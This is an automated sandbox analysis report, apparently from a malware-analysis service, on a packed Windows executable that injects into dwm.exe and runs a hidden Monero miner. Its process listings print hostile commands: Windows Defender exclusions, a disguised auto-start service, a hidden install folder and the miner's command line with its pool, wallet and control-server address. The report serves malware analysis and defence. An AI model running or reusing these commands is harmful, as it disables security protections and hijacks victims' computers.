Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\dwm.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: dwm.exe, 0000001B.00000002.3061575628.00000218DB150000.00000004.00000020.00020000.00000000.sdmp, dwm.exe, 0000001B.00000003.2489310241.00000218DB17A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: dwm.exe, 0000001B.00000003.2489453876.00000218DB198000.00000004.00000020.00020000.00000000.sdmp, dwm.exe, 0000001B.00000002.3061575628.00000218DB18C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXEES(X86)=C:
Source: dwm.exe, 0000001B.00000002.3061575628.00000218DB150000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXEXEEXE
Source: dwm.exe, 0000001B.00000002.3061575628.00000218DB136000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\SYSTEM32\DWM.EXE--ALGO=RX/0--URL=GULF.MONEROOCEAN.STREAM:10128--USER=49EJIZDEQAHVLT3WD4NAVSCMWDRWKSYKPZUZKULPYBBEPYOCYEXDDN7SDARVAAZP47JDSDVRS3KAJFETJFADXKNW3VKEE6W--PASS=TEST--CPU-MAX-THREADS-HINT=20--CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE--CINIT-API=HTTP://194.59.31.63/API/ENDPOINT.PHP--CINIT-VERSION=3.3.1--CINIT-IDLE-WAIT=4--CINIT-IDLE-CPU=30--CINIT-ID=FTCZPZYUNMUONZDM6
Source: dwm.exe, 0000001B.00000002.3061575628.00000218DB136000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
Source: dwm.exe, 0000001B.00000002.3061575628.00000218DB150000.00000004.00000020.00020000.00000000.sdmp, dwm.exe, 0000001B.00000003.2489310241.00000218DB17A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE=
Source: dwm.exe, 0000001B.00000003.2489453876.00000218DB198000.00000004.00000020.00020000.00000000.sdmp, dwm.exe, 0000001B.00000003.2489382759.00000218DB18C000.00000004.00000020.00020000.00000000.sdmp, dwm.exe, 0000001B.00000002.3061575628.00000218DB136000.00000004.00000020.00020000.00000000.sdmp, dwm.exe, 0000001B.00000002.3061575628.00000218DB18C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6246			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3557			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67402\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\ucqazsqoscdf.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42802\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42802\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67402\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42802\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67402\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42802\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67402\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42802\python312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67402\python312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42802\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42802\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67402\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67402\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42802\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42802\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI42802\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67402\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67402\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67402\_hashlib.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-17375

Source: C:\Users\user\Desktop\file.exe

API coverage: 1.1 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1104	Thread sleep count: 6246 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2000	Thread sleep count: 3557 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6148	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior

Source: C:\Windows\System32\dwm.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D2973AC _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF78D2973AC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D2888B0 FindFirstFileExW,FindClose,	0_2_00007FF78D2888B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D2A1444 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF78D2A1444
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D2973AC _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF78D2973AC

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_00007FFE13390220 GetSystemInfo,VirtualAlloc,

1_2_00007FFE13390220

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: di.exe, 00000012.00000002.2479198924.00007FF73EA28000.00000004.00000001.01000000.0000001F.sdmp, di.exe, 00000012.00000000.2463382303.00007FF73EA28000.00000008.00000001.01000000.0000001F.sdmp	Binary or memory string: 'b{Hgfs_{jy
Source: dwm.exe, 0000001B.00000002.3061575628.00000218DB150000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: file.exe, 00000001.00000003.2065248947.0000019B6837A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2063715126.0000019B6835D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2070791129.0000019B6839D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2070520840.0000019B68393000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2065819521.0000019B68391000.00000004.00000020.00020000.00000000.sdmp, dwm.exe, 0000001B.00000002.3061575628.00000218DB150000.00000004.00000020.00020000.00000000.sdmp, dwm.exe, 0000001B.00000002.3061575628.00000218DB0F9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: di.exe, 00000012.00000002.2479198924.00007FF73EA28000.00000004.00000001.01000000.0000001F.sdmp, di.exe, 00000012.00000000.2463382303.00007FF73EA28000.00000008.00000001.01000000.0000001F.sdmp	Binary or memory string: (hGfsvkN

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF78D28C5FC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF78D28C5FC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF78D2A3050 GetProcessHeap,

0_2_00007FF78D2A3050

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D28BD70 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF78D28BD70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D28C5FC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF78D28C5FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D28C7DC SetUnhandledExceptionFilter,	0_2_00007FF78D28C7DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF78D29A138 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF78D29A138
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF2E2A70 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FFDFF2E2A70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFDFF2E3028 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FFDFF2E3028
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE004A2126 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FFE004A2126
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE102538A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FFE102538A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE10253E60 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FFE10253E60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE11EAAA7C IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FFE11EAAA7C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE11EAA050 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FFE11EAA050
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE11EC314C IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FFE11EC314C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE11EC2720 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FFE11EC2720
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE132114E0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FFE132114E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE13211AA0 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FFE13211AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE13222D70 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FFE13222D70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE13223328 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FFE13223328
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE13244060 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FFE13244060
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE13244620 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FFE13244620
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE13385FA0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FFE13385FA0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE13386534 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FFE13386534
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE14640AA8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FFE14640AA8
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE148B52F0 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FFE148B52F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00007FFE148B4D20 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FFE148B4D20

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Add-MpPreference -ExclusionPath @('C:\Users\user', 'C:\Users\user\AppData', $env:ProgramData) -ExclusionExtension '.exe' -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @('C:\Users\user', 'C:\Users\user\AppData', $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Add-MpPreference -ExclusionPath @('C:\Users\user', 'C:\Users\user\AppData', $env:ProgramData) -ExclusionExtension '.exe' -Force"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @('C:\Users\user', 'C:\Users\user\AppData', $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe

NtQuerySystemInformation: Direct from: 0x7FF73EA2468E

Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe

Section loaded: NULL target: C:\Windows\System32\dwm.exe protection: readonly

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe

Thread register set: target process: 2764

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe

Memory written: C:\Windows\System32\dwm.exe base: B9AFDC4010

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe" "C:\Users\user\AppData\Local\Temp\t.py"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe" "C:\Users\user\AppData\Local\Temp\t.py"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Add-MpPreference -ExclusionPath @('C:\Users\user', 'C:\Users\user\AppData', $env:ProgramData) -ExclusionExtension '.exe' -Force"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +H +S "C:\Users\user\AppData\Local\driverpatch9t1ohxw8""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "sc create DrvSvc binPath= "C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe" start= auto"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "sc description DrvSvc "Launches applications associated with still image acquisition events.""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @('C:\Users\user', 'C:\Users\user\AppData', $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S "C:\Users\user\AppData\Local\driverpatch9t1ohxw8"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc create DrvSvc binPath= "C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe" start= auto	Jump to behavior
Source: C:\Users\user\AppData\Local\driverpatch9t1ohxw8\di.exe	Process created: C:\Windows\System32\dwm.exe C:\Windows\System32\dwm.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc description DrvSvc "Launches applications associated with still image acquisition events."	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0	Jump to behavior

